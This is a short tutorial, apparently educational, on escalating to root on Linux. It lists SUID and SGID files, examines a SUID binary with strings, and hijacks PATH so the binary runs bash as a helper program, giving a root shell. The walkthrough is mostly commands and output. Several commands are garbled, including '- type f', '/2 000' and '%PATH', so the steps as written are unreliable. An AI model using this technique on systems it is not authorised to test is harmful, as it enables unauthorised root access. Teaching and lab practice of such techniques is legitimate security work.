Privilege Escalation in Unix/Linux (1)

Privilege escalation in Unix/linux can be performed by finding a find that we can write to and that is set UID root. Using the **whoami** command we can find out what our username is and then looking in the files **/etc/passwd** and **/etc/group** we can identify our UID and what groups we are part of.

```
$ whoami
Kali
$
```

There is an easier way to identify who we are what groups we are part of. We can also use the **id** command to find our UID and which groups we are a member of as follows:

```
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali), 4(adm), 20(dialout), 24(cdrom),
25(floppy), 27(sudo), 29(audio), 30(dip), 44(video), 46(plugdev), 109(netdev),
117(ssl-cert), 119(wireshark), 121(bluetooth), 133(scanner), 141(kaboxer)
$
```

We can then find all files that are set UID on the target system using the following command. With the following command error messages will be sent to **/dev/null**. The set UID permission bit/flag is used to say to the operating system that when this file is executed it should execute with the as if it is being executed by the owners of the file. This means that of the file is owners by root and has the set UID flag set then when this program is executed it will execute as **root**, with all the rights and permissions associated with **root**.

```
$ find / - type f -perm /4000 2>/dev/null
/home/example/my-file
```

We can then find all files that are set SGID on the target system using the following command. With the following command error messages will be sent to **/dev/null**.

```
$ find / -perm /2 000 2>/dev/null
```

We can look and see what type of file it is via **file** command as follows

```
$ file /home/example/my-file
```

We can then look at the files that are set UID and set SGID using the **ls** command to see if we can write to these files as follows:

```
$ ls -lisa /home/example/my-file
```

We can attack this file by looking for other files/executables that they use and then attacking these files. So, if we use the **strings** command to analyse the target file.

```
$ strings /home/example/my-file
. . . . .
testexe
. . . . ..
$ ln /usr/bin/bash testexe
$ export PATH=.:%PATH
$ /home/example/my-file
# whoami
root
#
```

So, this tells is that the **/home/example/my-file** file which is set UID is executing another file (**testexe**), and this file does not have an explicit path to it. This means that if we modify our **$PATH** shell variable so that out version of **testexe** is the first things that it finds then we can trick **my-file** into executing a shell as root.